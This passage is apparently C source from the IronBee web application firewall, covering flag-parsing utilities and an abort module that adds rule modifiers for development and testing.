@a iterator to the next entry. * * @warning Behavior is undefined for singular iterators or iterators at * end of hash. * * @param[in,out] iterator Iterator to advance. */ void DLL_PUBLIC ib_hash_iterator_next( ib_hash_iterator_t *iterator ) NONNULL_ATTRIBUTE(1); /** * Copy @a from iterator to @a to iterator. * * @param[in] to Iterator to copy to. * @param[in] from Iterator to copy from. */ void DLL_PUBLIC ib_hash_iterator_copy( ib_hash_iterator_t *to, const ib_hash_iterator_t *from ) NONNULL_ATTRIBUTE(1, 2); /** * Compare two iterators. * * @param[in] a First iterator. * @param[in] b Second iterator. * @return true iff @a a and @a b refer to the same hash entry. **/ bool DLL_PUBLIC ib_hash_iterator_equal( const ib_hash_iterator_t *a, const ib_hash_iterator_t *b ) NONNULL_ATTRIBUTE(1, 2); /*@}*/ /** @} IronBeeUtilHash */ #ifdef __cplusplus } #endif #endif /* _IB_HASH_H_ */
crustymonkey/ironbee
util/flags.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Flag utility functions * * @author <NAME> <<EMAIL>> */ #include "ironbee_config_auto.h" #include <ironbee/flags.h> #include <ironbee/list.h> #include <ironbee/strval.h> #include <assert.h> #include <strings.h> /** * Parse a single flag from a name/value pair mapping (internal version) * * @param[in] map String / value mapping * @param[in] str String to lookup in @a map * @param[out] poper Pointer to operator * @param[out] pflags Pointer to flags * * @returns Status code: * - IB_OK: All OK, * - IB_ENOENT: @a str not found in @a map */ static ib_status_t parse_single( const ib_strval_t *map, const char *str, ib_flags_op_t *poper, ib_flags_t *pflags) { assert(map != NULL); assert(str != NULL); assert(poper != NULL); assert(pflags != NULL); ib_flags_op_t oper; ib_status_t rc; oper = (*str == '-') ? FLAG_REMOVE : ((*str == '+') ? FLAG_ADD : FLAG_SET); /* Remove the operator from the name if required. * and determine the numeric value of the option * by using the value map. */ if (oper != FLAG_SET) { ++str; } /* Parse the flag */ rc = ib_strval_lookup(map, str, (uint64_t *)pflags); if (rc != IB_OK) { return rc; } /* Store off the operator */ *poper = oper; return IB_OK; } /** * Apply a single flag operation * * @param[in] oper Operator to apply * @param[in] flags Flags to apply * @param[in] num Operator number * @param[out] pflags Pointer to flags * @param[out] pmask Pointer to flag mask * * @returns Status code: * - IB_OK: All OK */ static ib_status_t apply_operation( ib_flags_op_t oper, ib_flags_t flags, int num, ib_flags_t *pflags, ib_flags_t *pmask) { assert(pflags != NULL); assert(pmask != NULL); /* If the first option does not use an operator, then * this is setting all flags so set all the mask bits. */ if ( (num == 0) && (oper == FLAG_SET) ) { *pmask = ~0; } /* Mark which bit(s) we are setting. */ *pmask |= flags; /* Set/Unset the appropriate bits. */ if (oper == FLAG_REMOVE) { *pflags &= ~flags; } else { *pflags |= flags; } return IB_OK; } ib_flags_t ib_flags_merge( ib_flags_t inflags, ib_flags_t flags, ib_flags_t mask) { return ( (flags & mask) | (inflags & ~mask) ); } ib_status_t ib_flags_string( const ib_strval_t *map, const char *str, int num, ib_flags_t *pflags, ib_flags_t *pmask) { if ( (map == NULL) || (str == NULL) || (pflags == NULL) || (pmask == NULL) ) { return IB_EINVAL; } ib_flags_op_t oper; ib_flags_t flags; ib_status_t rc; rc = parse_single(map, str, &oper, &flags); if (rc != IB_OK) { return rc; } rc = apply_operation(oper, flags, num, pflags, pmask); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_flags_strtok( const ib_strval_t *map, ib_mm_t mm, const char *str, const char *sep, ib_flags_t *pflags, ib_flags_t *pmask) { if ( (map == NULL) || (str == NULL) || (sep == NULL) || (pflags == NULL) || (pmask == NULL) ) { return IB_EINVAL; } int n = 0; ib_flags_t flags = 0; ib_flags_t mask = 0; char *copy; const char *tmp; /* Make a copy of the string that we can use for strtok */ copy = ib_mm_strdup(mm, str); if (copy == NULL) { return IB_EALLOC; } /* Walk through the separated list */ tmp = strtok(copy, sep); do { ib_status_t rc; rc = ib_flags_string(map, tmp, n++, &flags, &mask); if (rc != IB_OK) { return rc; } } while ( (tmp = strtok(NULL, sep)) != NULL); /* Done */ *pflags = flags; *pmask = mask; return IB_OK; } ib_status_t ib_flags_strlist( const ib_strval_t *map, const ib_list_t *strlist, ib_flags_t *pflags, ib_flags_t *pmask, const char **perror) { if ( (map == NULL) || (strlist == NULL) || (pflags == NULL) || (pmask == NULL) ) { return IB_EINVAL; } int n = 0; const ib_list_node_t *node; IB_LIST_LOOP_CONST(strlist, node) { const char *s = (const char *)node->data; ib_status_t rc; rc = ib_flags_string(map, s, n++, pflags, pmask); if (rc != IB_OK) { if (perror != NULL) { *perror = s; } return rc; } } if (perror != NULL) { *perror = NULL; } return IB_OK; } ib_status_t ib_flags_oplist_parse( const ib_strval_t *map, ib_mm_t mm, const char *str, const char *sep, ib_list_t *oplist) { if ( (map == NULL) || (str == NULL) || (sep == NULL) || (oplist == NULL) ) { return IB_EINVAL; } char *copy; const char *tmp; /* Make a copy of the string that we can use for strtok */ copy = ib_mm_strdup(mm, str); if (copy == NULL) { return IB_EALLOC; } /* Clear the list */ ib_list_clear(oplist); /* Walk through the separated list, parser each operator, build the list */ tmp = strtok(copy, sep); do { ib_status_t rc; ib_flags_op_t op; ib_flags_t flags; ib_flags_operation_t *operation; rc = parse_single(map, tmp, &op, &flags); if (rc != IB_OK) { return rc; } operation = ib_mm_alloc(mm, sizeof(*operation)); if (operation == NULL) { return IB_EALLOC; } operation->op = op; operation->flags = flags; rc = ib_list_push(oplist, operation); if (rc != IB_OK) { return rc; } } while ( (tmp = strtok(NULL, sep)) != NULL); return IB_OK; } ib_status_t ib_flags_oplist_apply( const ib_list_t *oplist, ib_flags_t *pflags, ib_flags_t *pmask) { if ( (oplist == NULL) || (pflags == NULL) || (pmask == NULL) ) { return IB_EINVAL; } int n = 0; const ib_list_node_t *node; IB_LIST_LOOP_CONST(oplist, node) { const ib_flags_operation_t *operation = (const ib_flags_operation_t *)node->data; ib_status_t rc; rc = apply_operation(operation->op, operation->flags, n++, pflags, pmask); if (rc != IB_OK) { return rc; } } return IB_OK; }
crustymonkey/ironbee
modules/abort.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- abort module * * This is a module that defines the `abort` and `abortIf` * modifiers. These are useful primarily for development and testing * purposes. * * @note Abort actions can operate on operators (operator abort action) or * actions (action abort action), resulting in an overload of the word * "action". Thus, to avoid confusion, the term "abort modifier" is used * instead of "abort action". * * For every rule with an `abort` modifier, executes after every * operator or action executes. It always fires, regardless of result of the * operator, or the returned status code of the operator. * * For every rule with an `abortIf` modifier, executes after any * relevant operator or action executes. It fires the result of it's operand * is True. * * The abortIf operands are: * - `OpOk`: Fires if an operator's status is `IB_OK`. * - `OpFail`: Fires if an operator's status not `IB_OK`. * - `OpTrue`: Fires if an operator's result is `True`. * - `OpFail`: Fires if an operator's result if `False`. * - `ActOk`: Fires if an action's status is `IB_OK`. * - `ActFail`: Fires if an action's status not `IB_OK`. * * Any time an abort / abortIf modifier fires, a "ABORT:" message is logged. * * At the end of any transaction in which at least one abort / abortIf * modified fires, summary "ABORT:" messages are logged. * * The abort mode is configured via the AbortMode directive. The possible * values are: * * - `Immediate`: Invokes abort() immediately if any of the rule's * abort / abortIf modifiers fire. This is the default mode. * * - `TxEnd`: Invokes abort() at the end of a transaction if any of the * abort / abortIf modifiers fired for any rule executed for the * transaction. * * - `Off`: abort() is never invoked. * * Examples: * - `rule s @streq "x" id:1 chain abortIf:OpTrue` * - `rule t @streq "abc" id:2 abort:Chain executed!` * - `rule x @streq "x" id:3 abortIf:OpOk` * - `rule x @eq 1 id:4 "abortIf:OpFail:eq operator Failed!"` * - `rule y @exists x id:5 abortIf:OpTrue` * - `rule z @is_int x id:6 abortIf:OpFalse` * - `rule n @eq 1 id:7 setvar:x+=3 "abortIf:ActFail:setvar failed"` * - `rule n @eq 1 id:8 setvar:s+=3 "abortIf:ActOk:setvar didn't fail"` * * @author <NAME> <<EMAIL>> */ #include <ironbee/action.h> #include <ironbee/context.h> #include <ironbee/engine.h> #include <ironbee/engine_state.h> #include <ironbee/hash.h> #include <ironbee/mm.h> #include <ironbee/module.h> #include <ironbee/rule_engine.h> #include <ironbee/string.h> #include <assert.h> #include <inttypes.h> #include <strings.h> /* Define the module name as well as a string version of it. */ #define MODULE_NAME abort #define MODULE_NAME_STR IB_XSTRINGIFY(MODULE_NAME) /* Declare the public module symbol. */ IB_MODULE_DECLARE(); /** * Abort mode */ enum abort_mode_t { ABORT_IMMEDIATE, /**< Immediate abort() */ ABORT_TX_END, /**< abort() at end of transaction */ ABORT_OFF /**< Don't abort(), just log loudly */ }; typedef enum abort_mode_t abort_mode_t; /** * Abort module configuration */ struct abort_config_t { abort_mode_t abort_mode; /**< Abort mode. */ }; typedef struct abort_config_t abort_config_t; /** * Abort module global configuration */ static abort_config_t abort_config = { .abort_mode = ABORT_IMMEDIATE, }; /** * Abort types */ enum abort_type_t { ABORT_ALWAYS, /**< Abort any time the abort fires */ ABORT_OP_TRUE, /**< Abort if operation true */ ABORT_OP_FALSE, /**< Abort if operation false */ ABORT_OP_OK, /**< Abort if operator failed */ ABORT_OP_FAIL, /**< Abort if operator succeeded */ ABORT_ACT_OK, /**< Abort if all actions succeeded */ ABORT_ACT_FAIL, /**< Abort if any actions failed */ }; typedef enum abort_type_t abort_type_t; /** * Abort per-TX data. */ struct abort_tx_data_t { ib_list_t *abort_list; /**< List of rules that aborted */ }; typedef struct abort_tx_data_t abort_tx_data_t; /* * See note above about "abort action" vs "abort modifier". */ /** * Data stored for each abort modifier. */ struct abort_modifier_t { abort_type_t abort_type; /**< Type of abort modifier */ bool is_false; /**< Abort modifier inverted? */ const char *abort_str; /**< String version of abort_type */ ib_var_expand_t *message; /**< Message */ }; typedef struct abort_modifier_t abort_modifier_t; /** * Rule + associated abort modifiers */ struct abort_rule_t { const ib_rule_t *rule; /**< The rule itself */ ib_list_t *abort_modifiers; /**< List of aborts (@ref abort_modifier_t) */ }; typedef struct abort_rule_t abort_rule_t; /** * Abort module data */ struct abort_module_data_t { ib_hash_t *op_rules; /**< Rules with operator aborts (@ref abort_rule_t) */ ib_hash_t *act_rules; /**< Rules with action aborts (@ref abort_rule_t) */ }; typedef struct abort_module_data_t abort_module_data_t; /** * Abort modifier filter function. * * The abort filters are called to filter an abort modifier to determine * whether to execute it or not. * * Currently, there are two filters; one which selects only operator aborts, * the other only action aborts. * * @param[in] modifier Abort modifier to filter * * @returns true if @a modifier matches, otherwise false */ typedef bool (* abort_filter_fn_t)( const abort_modifier_t *modifier ); /** * Get the abort rule object associated with the @a rule (if it exists) * * @param[in] rules Hash of rules to look up rule * @param[in] rule Rule to look up * @param[out] pabort_rule Pointer to abort rule object * * @returns Status code */ static ib_status_t get_abort_rule( ib_hash_t *rules, const ib_rule_t *rule, abort_rule_t **pabort_rule ) { assert(rules != NULL); assert(rule != NULL); assert(pabort_rule != NULL); ib_status_t rc; const char *rule_id = ib_rule_id(rule); assert(rule_id != NULL); /* Look up the object in the "all" hash */ rc = ib_hash_get(rules, pabort_rule, rule_id); /* Done */ return rc; } /** * Get / create TX module data * * @param[in] tx Transaction * @param[in] module Module object * @param[in] create Create if required? * @param[out] ptx_data Pointer to module-specific TX data * * @returns Status code */ static ib_status_t get_create_tx_data( ib_tx_t *tx, const ib_module_t *module, bool create, abort_tx_data_t **ptx_data ) { assert(tx != NULL); assert(module != NULL); assert(ptx_data != NULL); ib_status_t rc; abort_tx_data_t *tx_data = NULL; ib_list_t *abort_list; rc = ib_tx_get_module_data(tx, module, &tx_data); if ( (rc != IB_OK) && (rc != IB_ENOENT) ) { ib_log_error_tx(tx, "%s: Failed to get TX module data: %s", module->name, ib_status_to_string(rc)); return rc; } /* If it's not NULL, or we're not creating, just return it. */ if ( (tx_data != NULL) || (!create) ) { *ptx_data = tx_data; return IB_OK; } /* Create the modifier data */ tx_data = ib_mm_alloc(tx->mm, sizeof(*tx_data)); if (tx_data == NULL) { ib_log_error_tx(tx, "%s: Failed to get TX module data: %s", module->name, ib_status_to_string(rc)); return IB_EALLOC; } /* Create the abort list */ rc = ib_list_create(&abort_list, tx->mm); if (rc != IB_OK) { ib_log_error_tx(tx, "%s: Failed to get TX module data: %s", module->name, ib_status_to_string(rc)); return rc; } tx_data->abort_list = abort_list; /* Set it for the transaction */ rc = ib_tx_set_module_data(tx, module, tx_data); if (rc != IB_OK) { ib_log_error_tx(tx, "%s: Failed to set TX module data: %s", module->name, ib_status_to_string(rc)); return rc; } /* Done */ *ptx_data = tx_data; return IB_OK; } /** * Create function for the abort modifier. * * @param[in] mm Memory manager. * @param[in] ctx Context * @param[in] parameters Parameters * @param[out] instance_data Instance data to pass to execute. * @param[in] cbdata Callback data. * * @returns Status code */ static ib_status_t abort_create( ib_mm_t mm, ib_context_t *ctx, const char *parameters, void *instance_data, void *cbdata ) { assert(ctx != NULL); assert(instance_data != NULL); assert(cbdata != NULL); ib_engine_t *ib = ib_context_get_engine(ctx); const char *message; ib_var_expand_t *expand; abort_modifier_t *modifier; ib_status_t rc; /* The first argument is the type, second is message string. */ message = (parameters == NULL) ? "" : parameters; /* Expand the message string as required */ rc = ib_var_expand_acquire(&expand, mm, IB_S2SL(message), ib_engine_var_config_get(ib)); if (rc != IB_OK) { return rc; } /* Allocate an abort instance object */ modifier = ib_mm_alloc(mm, sizeof(*modifier)); if (modifier == NULL) { return IB_EALLOC; } modifier->abort_str = "Always"; modifier->abort_type = ABORT_ALWAYS; modifier->message = expand; *(void **)instance_data = modifier; return IB_OK; } /** * Create function for the abortIf modifier (action). * * @param[in] mm Memory manager. * @param[in] ctx Context * @param[in] parameters Parameters * @param[out] instance_data Instance data to pass to execute. * @param[in] cbdata Callback data. * * @returns Status code */ static ib_status_t abort_if_create( ib_mm_t mm, ib_context_t *ctx, const char *parameters, void *instance_data, void *cbdata ) { assert(ctx != NULL); assert(instance_data != NULL); assert(cbdata != NULL); ib_engine_t *ib = ib_context_get_engine(ctx); ib_var_expand_t *expand; ib_mm_t tmm = ib_engine_mm_temp_get(ib); abort_modifier_t *modifier; const char *type_str; abort_type_t abort_type; const char *message; ib_status_t rc; /* The first argument is the type, second is message string. */ type_str = parameters; if (parameters != NULL) { const char *colon = strchr(parameters, ':'); if (colon == NULL) { message = ""; } else { message = colon + 1; if (colon == parameters) { type_str = NULL; } else { type_str = ib_mm_memdup_to_str(tmm, parameters, colon-parameters); } } } else { message = ""; } /* Check for abort type */ if (type_str == NULL) { ib_log_error(ib, "abortIf: No type specified"); return IB_EINVAL; } else if (strncasecmp(type_str, "OpTrue", 6) == 0) { abort_type = ABORT_OP_TRUE; type_str = "Operator/True"; } else if (strncasecmp(type_str, "OpFalse", 7) == 0) { abort_type = ABORT_OP_FALSE; type_str = "Operator/False"; } else if (strncasecmp(type_str, "OpOK", 4) == 0) { abort_type = ABORT_OP_OK; type_str = "Operator/OK"; } else if (strncasecmp(type_str, "OpFail", 6) == 0) { abort_type = ABORT_OP_FAIL; type_str = "Operator/Fail"; } else if (strncasecmp(type_str, "ActOk", 5) == 0) { abort_type = ABORT_ACT_OK; type_str = "Action/OK"; } else if (strncasecmp(type_str, "ActFail", 7) == 0) { abort_type = ABORT_ACT_FAIL; type_str = "Action/Fail"; } else { ib_log_error(ib, "abortIf: Invalid type \"%s\"", type_str); return IB_EINVAL; } /* Expand the message string as required */ rc = ib_var_expand_acquire(&expand, mm, IB_S2SL(message), ib_engine_var_config_get(ib)); if (rc != IB_OK) { return rc; } /* Allocate an abort instance object */ modifier = ib_mm_alloc(mm, sizeof(*modifier)); if (modifier == NULL) { return IB_EALLOC; } modifier->abort_str = type_str; modifier->abort_type = abort_type; modifier->message = expand; *(void **)instance_data = modifier; return IB_OK; } /** * Check status for an abort/abortIf modifier * * @param[in] ib IronBee engine (for debug) * @param[in] rc Operator/action result code * @param[in] expect_ok Expect an OK status? * @param[in] invert Invert the result? * @param[in,out] match Set to true on match * * @returns Status code */ static ib_status_t check_status( const ib_engine_t *ib, ib_status_t rc, bool expect_ok, bool invert, bool *match ) { assert(ib != NULL); assert(match != NULL); bool status_match; /* Based on abort type, determine if we have a match. */ if (expect_ok) { status_match = (rc == IB_OK); } else { status_match = (rc != IB_OK); } /* Interpret the result */ *match = (invert ? !status_match : status_match); return IB_OK; } /** * Check result for an abort / abortIf modifier * * @param[in] ib IronBee engine (for debug) * @param[in] result Operator/action result * @param[in] rc Operator/action result code * @param[in] expect_true Expect a true (non-zero) result? * @param[in] invert Invert the result? * @param[in,out] match Set to true on match * * @returns Status code */ static ib_status_t check_result( const ib_engine_t *ib, ib_num_t result, ib_status_t rc, bool expect_true, bool invert, bool *match ) { assert(ib != NULL); assert(match != NULL); bool result_match; /* Based on abort type, determine if we have a match. */ if (expect_true) { result_match = (result != 0); } else { result_match = (result == 0); } /* Interpret the result */ *match = (rc == IB_OK) && (invert ? !result_match : result_match); return IB_OK; } /** * Handle one or more abort / abortIf modifiers firing. * * Logs an "ABORT:" message, and a message for each abort / abortIf modifier * that fired. * * If the configured abort mode is ABORT_MODE_IMMEDIATE (the default), invokes * abort(). * * Otherwise, the abort is added to the transaction's abort list. This will * cause the handle_tx_finished() to to log the aborts associated with the * transaction. * * @param[in] module Module object * @param[in] rule_exec The rule execution object * @param[in] label Label string * @param[in] name Name of action / operator * @param[in] aborts List of fired abort modifiers * @param[in] result Operator/action result value * @param[in] inrc Operator/action status code * */ static void abort_now( const ib_module_t *module, const ib_rule_exec_t *rule_exec, const char *label, const char *name, const ib_list_t *aborts, ib_num_t result, ib_status_t inrc ) { assert(module != NULL); assert(rule_exec != NULL); assert(rule_exec->tx != NULL); assert(label != NULL); assert(aborts != NULL); const abort_config_t *config = NULL; abort_tx_data_t *tx_data; const ib_list_node_t *node; const char *expanded = NULL; size_t expanded_length; size_t num = 0; ib_status_t rc; abort_mode_t abort_mode; /* Get my module configuration */ rc = ib_context_module_config(rule_exec->tx->ctx, module, (void *)&config); if (rc != IB_OK) { ib_log_error_tx(rule_exec->tx, "Failed to get %s module configuration: %s", module->name, ib_status_to_string(rc)); abort_mode = ABORT_IMMEDIATE; } else { abort_mode = config->abort_mode; } /* Log the results */ ib_rule_log_error(rule_exec, "ABORT: " "%s [%s] status=%d \"%s\" result=%"PRIu64" " "(%zd aborts)", label, name, inrc, ib_status_to_string(inrc), result, IB_LIST_ELEMENTS(aborts)); /* Log all of the related aborts */ if (aborts != NULL) { IB_LIST_LOOP_CONST(aborts, node) { const abort_modifier_t *modifier = ib_list_node_data_const(node); /* Increment abort number */ ++num; /* Expand the string */ rc = ib_var_expand_execute(modifier->message, &expanded, &expanded_length, rule_exec->tx->mm, rule_exec->tx->var_store); if (rc != IB_OK) { ib_rule_log_error(rule_exec, "abort: Failed to expand string: %s", ib_status_to_string(rc)); continue; } ib_rule_log_error(rule_exec, "#%zd: %s \"%.*s\"", num, modifier->abort_str, (int)expanded_length, expanded); } } switch(abort_mode) { case ABORT_OFF: break; /* Do nothing */ case ABORT_IMMEDIATE: abort(); /* Never returns */ break; case ABORT_TX_END: /* Get the TX module data */ rc = get_create_tx_data(rule_exec->tx, module, true, &tx_data); if (rc != IB_OK) { return; } /* Add the rule to the list */ rc = ib_list_push(tx_data->abort_list, rule_exec->rule); if (rc != IB_OK) { return; } break; } } /** * Post operator function * * @param[in] rule_exec Rule execution environment. * @param[in] opinst Operator instance. * @param[in] invert True iff this operator is inverted. * @param[in] value Input to operator. * @param[in] op_rc Result code of operator execution. * @param[in] result Result of operator. * @param[in] capture Capture collection of operator. * @param[in] cbdata Callback data (@ref ib_module_t). */ void abort_post_operator( const ib_rule_exec_t *rule_exec, const ib_operator_inst_t *opinst, bool invert, const ib_field_t *value, ib_status_t op_rc, ib_num_t result, ib_field_t *capture, void *cbdata ) { assert(rule_exec != NULL); assert(opinst != NULL); assert(cbdata != NULL); ib_status_t rc; const ib_module_t *module = cbdata; const abort_module_data_t *module_data; const ib_list_node_t *node; abort_rule_t *abort_rule; bool do_abort = false; ib_list_t *aborts = NULL; assert(module->data != NULL); module_data = module->data; /* Find associated abort rule item (if there is one) */ rc = get_abort_rule(module_data->op_rules, rule_exec->rule, &abort_rule); if (rc == IB_ENOENT) { return; } else if (rc != IB_OK) { ib_rule_log_error(rule_exec, "%s: Failed to get rule data: %s", module->name, ib_status_to_string(rc)); return; } /* Loop through the rule's abort operator modifiers */ IB_LIST_LOOP_CONST(abort_rule->abort_modifiers, node) { const abort_modifier_t *modifier = ib_list_node_data_const(node); const ib_engine_t *ib = rule_exec->ib; /* Based on abort type, determine if we have a match. */ switch(modifier->abort_type) { case ABORT_OP_TRUE: check_result(ib, result, op_rc, true, (invert ^ modifier->is_false), &do_abort); break; case ABORT_OP_FALSE: check_result(ib, result, op_rc, false, (invert ^ modifier->is_false), &do_abort); break; case ABORT_OP_OK: check_status(ib, op_rc, true, modifier->is_false, &do_abort); break; case ABORT_OP_FAIL: check_status(ib, op_rc, false, modifier->is_false, &do_abort); break; case ABORT_ALWAYS: check_result(ib, 1, op_rc, true, modifier->is_false, &do_abort); break; default: assert(0 && "Action abort at operator post!"); break; } /* Create the modifiers list if required */ if (do_abort) { if (aborts == NULL) { rc = ib_list_create(&aborts, rule_exec->tx->mm); assert(rc == IB_OK); } if (aborts != NULL) { rc = ib_list_push(aborts, (void *)modifier); assert(rc == IB_OK); } } } /* If any of the modifiers set the abort flag, do it now */ if (do_abort) { abort_now(module, rule_exec, "Operator", ib_operator_name(ib_operator_inst_operator(opinst)), aborts, result, op_rc); } } /** * Post action function * * @param[in] rule_exec Rule execution environment. * @param[in] action_inst Instance data for action just executed. * @param[in] act_rc Result code of action execution. * @param[in] result Result of operator. * @param[in] cbdata Callback data (@ref ib_module_t). */ void abort_post_action( const ib_rule_exec_t *rule_exec, const ib_action_inst_t *action_inst, ib_num_t result, ib_status_t act_rc, void *cbdata ) { assert(rule_exec != NULL); assert(action_inst != NULL); assert(cbdata != NULL); ib_status_t rc; const ib_module_t *module = cbdata; const abort_module_data_t *module_data; const ib_list_node_t *node; abort_rule_t *abort_rule; bool do_abort = false; ib_list_t *aborts = NULL; const char *name = ib_action_name(ib_action_inst_action(action_inst)); assert(module->data != NULL); module_data = module->data; /* Ignore abort/abortIf actions! */ if ( (strcasecmp(name, "abort") == 0) || (strcasecmp(name, "abortIf") == 0) ) { const abort_modifier_t *modifier = ib_action_inst_data(action_inst); switch (modifier->abort_type) { case ABORT_ACT_OK: case ABORT_ACT_FAIL: return; default: break; } } /* Find associated abort rule item (if there is one) */ rc = get_abort_rule(module_data->act_rules, rule_exec->rule, &abort_rule); if (rc == IB_ENOENT) { return; } else if (rc != IB_OK) { ib_rule_log_error(rule_exec, "%s: Failed to get rule data: %s", module->name, ib_status_to_string(rc)); return; } /* Loop through the rule's abort operator modifiers */ IB_LIST_LOOP_CONST(abort_rule->abort_modifiers, node) { const abort_modifier_t *modifier = ib_list_node_data_const(node); const ib_engine_t *ib = rule_exec->ib; /* Based on abort type, determine if we have a match. */ switch(modifier->abort_type) { case ABORT_ACT_OK: check_status(ib, act_rc, true, modifier->is_false, &do_abort); break; case ABORT_ACT_FAIL: check_status(ib, act_rc, false, modifier->is_false, &do_abort); break; case ABORT_ALWAYS: check_result(ib, 1, act_rc, true, modifier->is_false, &do_abort); break; default: assert(0 && "Operator abort at action post!"); break; } /* Create the modifier list if required */ if (do_abort) { if (aborts == NULL) { rc = ib_list_create(&aborts, rule_exec->tx->mm); assert(rc == IB_OK); } if (aborts != NULL) { rc = ib_list_push(aborts, (void *)modifier); assert(rc == IB_OK); } } } /* If any of the modifiers set the abort flag, do it now */ if (do_abort) { abort_now(module, rule_exec, "Action", name, aborts, result, act_rc); } return; } /** * Parse an AbortMode directive. * * @details Register a AbortMode directive to the engine. * @param[in] cp Configuration parser * @param[in] directive The directive name. * @param[in] p1 The first parameter passed to @a directive (mode). * @param[in] cbdata User data (module) */ static ib_status_t abort_mode_handler( ib_cfgparser_t *cp, const char *directive, const char *p1, void *cbdata ) { assert(cp != NULL); assert(directive != NULL); assert(p1 != NULL); assert(cbdata != NULL); ib_status_t rc; ib_module_t *module = cbdata; ib_context_t *context; const char *mode; abort_config_t *config; abort_mode_t abort_mode; /* Get my configuration context */ rc = ib_cfgparser_context_current(cp, &context); if (rc != IB_OK) { ib_cfg_log_error(cp, "TxData: Failed to get current context: %s", ib_status_to_string(rc)); return rc; } /* Get my module context configuration */ rc = ib_context_module_config(context, module, (void *)&config); if (rc != IB_OK) { ib_cfg_log_error(cp, "Failed to get %s module configuration: %s", MODULE_NAME_STR, ib_status_to_string(rc)); return rc; } /* Get the mode name string */ mode = p1; if (strcasecmp(mode, "Immediate") == 0) { abort_mode = ABORT_IMMEDIATE; } else if (strcasecmp(mode, "TxEnd") == 0) { abort_mode = ABORT_TX_END; } else if (strcasecmp(mode, "Off") == 0) { abort_mode = ABORT_OFF; } else { ib_cfg_log_error(cp, "%s: Invalid AbortMode \"%s\"", MODULE_NAME_STR, mode); return IB_EINVAL; } config->abort_mode = abort_mode; /* Done */ return IB_OK; } /** * Handle TX finished state. * * Checks to see if any aborts fired during @a tx. If so, logs a summary of * the aborts that fired. If the configured abort mode is ABORT_TX_END, * abort() is then invoked. * * @param[in] ib Engine. * @param[in] tx Transaction. * @param[in] state State. * @param[in] cbdata Callback data (module object) * * @returns * - IB_OK on success. */ static ib_status_t handle_tx_finished( ib_engine_t *ib, ib_tx_t *tx, ib_state_t state, void *cbdata ) { assert(ib != NULL); assert(tx != NULL); assert(state == tx_finished_state); assert(cbdata != NULL); ib_status_t rc; ib_module_t *module = cbdata; abort_config_t *config; abort_tx_data_t *tx_data; const ib_list_node_t *node; size_t num = 0; /* Get my module configuration */ rc = ib_context_module_config(tx->ctx, module, (void *)&config); if (rc != IB_OK) { ib_log_error_tx(tx, "Failed to get %s module configuration: %s", module->name, ib_status_to_string(rc)); return rc; } /* Get the TX module data */ rc = get_create_tx_data(tx, module, false, &tx_data); if (rc != IB_OK) { return rc; } else if (tx_data == NULL) { return IB_OK; } else if (IB_LIST_ELEMENTS(tx_data->abort_list) == 0) { return IB_OK; } /* Log it */ ib_log_error_tx(tx, "ABORT: %zd aborts fired in transaction:", IB_LIST_ELEMENTS(tx_data->abort_list)); IB_LIST_LOOP_CONST(tx_data->abort_list, node) { const ib_rule_t *rule = ib_list_node_data_const(node); ++num; ib_log_error_tx(tx, "#%zd: Rule \"%s\"", num, rule->meta.full_id); } /* We're outta here */ if (config->abort_mode == ABORT_TX_END) { abort(); } return IB_OK; } /** * Search for the rule for matching actions. * * Search through @a rule for actions matching @a name. True actions are * stored in the @a true_modifiers list, false actions in the @a * false_modifiers list. * * @param[in] ib IronBee engine * @param[in] rule Rule to search * @param[in] name Action name to search for * @param[in] true_modifiers Matching rule true actions * @param[in] false_modifiers Matching rule false actions * * @returns Status code */ static ib_status_t rule_search( const ib_engine_t *ib, const ib_rule_t *rule, const char *name, ib_list_t *true_modifiers, ib_list_t *false_modifiers ) { ib_status_t rc; /* Search the True action list */ ib_list_clear(true_modifiers); rc = ib_rule_search_action(ib, rule, IB_RULE_ACTION_TRUE, name, true_modifiers, NULL); if (rc != IB_OK) { return rc; } /* Search the False action list */ ib_list_clear(false_modifiers); rc = ib_rule_search_action(ib, rule, IB_RULE_ACTION_FALSE, name, false_modifiers, NULL); if (rc != IB_OK) { return rc; } return IB_OK; } /** * Create the abort rule object associated with the @a rule (if required). * * If an abort rule object already exists for @a rule, that abort rule object * is returned. Otherwise, one is created and stored in the @a rules hash. * * The hash key used in @a rules is the rule ID. * * @param[in] ib IronBee engine * @param[in] mm Memory manager to use for allocations * @param[in] module Module object * @param[in] rules Hash of rules to look up rule * @param[in] rule Rule to look up * @param[out] pabort_rule Pointer to abort rule object * * @returns Status code */ static ib_status_t create_abort_rule( const ib_engine_t *ib, ib_mm_t mm, ib_module_t *module, ib_hash_t *rules, const ib_rule_t *rule, abort_rule_t **pabort_rule ) { assert(rules != NULL); assert(rule != NULL); assert(pabort_rule != NULL); ib_status_t rc; abort_rule_t *abort_rule = NULL; ib_list_t *abort_modifiers; const char *rule_id = ib_rule_id(rule); assert(rule_id != NULL); /* Look up the object in the "all" hash */ rc = ib_hash_get(rules, &abort_rule, rule_id); if ( (rc != IB_OK) && (rc != IB_ENOENT) ) { ib_log_error(ib, "%s: Failed to get rule data for \"%s\": %s", module->name, rule_id, ib_status_to_string(rc)); return rc; } /* If it's not NULL, or we're not creating, just return it. */ if (abort_rule != NULL) { *pabort_rule = abort_rule; return IB_OK; } /* Create the abort rule object */ abort_rule = ib_mm_alloc(mm, sizeof(*abort_rule)); if (abort_rule == NULL) { ib_log_error(ib, "%s: Failed to allocate abort rule object", module->name); return IB_EALLOC; } /* Create the modifier list */ rc = 